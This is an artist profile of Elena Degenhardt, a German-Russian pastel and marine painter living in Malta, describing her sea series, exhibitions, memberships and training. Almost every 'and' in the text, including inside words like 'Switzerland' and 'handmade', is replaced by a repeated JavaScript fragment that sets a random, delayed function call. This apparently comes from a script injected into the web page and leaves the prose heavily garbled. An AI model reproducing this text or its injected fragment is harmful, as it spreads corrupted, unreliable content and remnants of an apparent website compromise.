Elena Degenhardt

Elena Degenhardt is a German-Russian portrait andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and marine artist living in Malta, specialising in pastels.

During The Trail Elena will be working on a new piece of art andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and demonstrating her various techniques, paper types andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the materials she uses. She is excited about the opportunity to meet people andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and talk about her work, particularly since, like most artists, she loves to escape the solitude of her studio to meet with her audience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and answer their questions. “It is an opportunity for me to further introduce pastels to art collectors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and artists andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and show that a work in pastels, correctly framed, will give joy to its owner without ever needing restoration,” Elena smiles.

“Since my recent move to Malta, light has become an important part of my artwork. The intensity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and vibrancy of light is exceptional here. I have also become absolutely fascinated with the sea andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and now paint it in all its moods, en plein air andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in my studio, in the hope that more people will take proper care of it. My own attitude towards the sea has always been one of both awe andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fear, inner freedom andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a longing for bonds andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and borders.”

Elena’s series Fleeting Memories was part of the multi-sensory exhibition Perception, at the Malta Society of Arts in Valletta in August 2018.

Elena is currently working on a series of pastel pieces exploring sea waters, which she calls ‘Meditations’. “In western European culture, time is a rapidly moving river, unavoidably leading us to the end – a rather frightening image,” she says. “Through these paintings of calm waters I explore time as something continuously moving with andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and around us, present in all its aspects in the here andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and now.”

She is also working on a series of large waves. “Painting breaking waves is an attempt to grasp a beautiful moment andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and hold it forever. A wave is a visual metaphor of time standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding still.”

Elena is a Member of Association of Professional Artists of Austria, the Pastel Society of Malta andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Malta Society of Arts. Her artwork can be found in private collections in Germany, UK, Russia, France, Switzerlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, USA, Finlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, Austria andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Malta andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and exhibited internationally. She is also currently exhibiting with the Royal Society of Marine Artists at the prestigious Mall Galleries in London.

An art school graduate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and MA degree holder in literature andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and languages, she became a professional artist in 2016 after 15 years of a successful career in teaching andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and translation.  Elena had her first pastel classes with the British artist Jo Hall, SGFA, in 2015 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has been in love with them ever since. It is a very challenging medium, since pigments are mixed directly onto the painting surface andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mistakes cannot easily be painted over as they can with oils or acrylics. Elena uses pastels of the highest quality, handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andmade in the UK. She works in various pastel techniques, in pure form andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and by combining pastels with charcoal, acrylics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and watercolour, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and she loves experimenting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and moving between genres.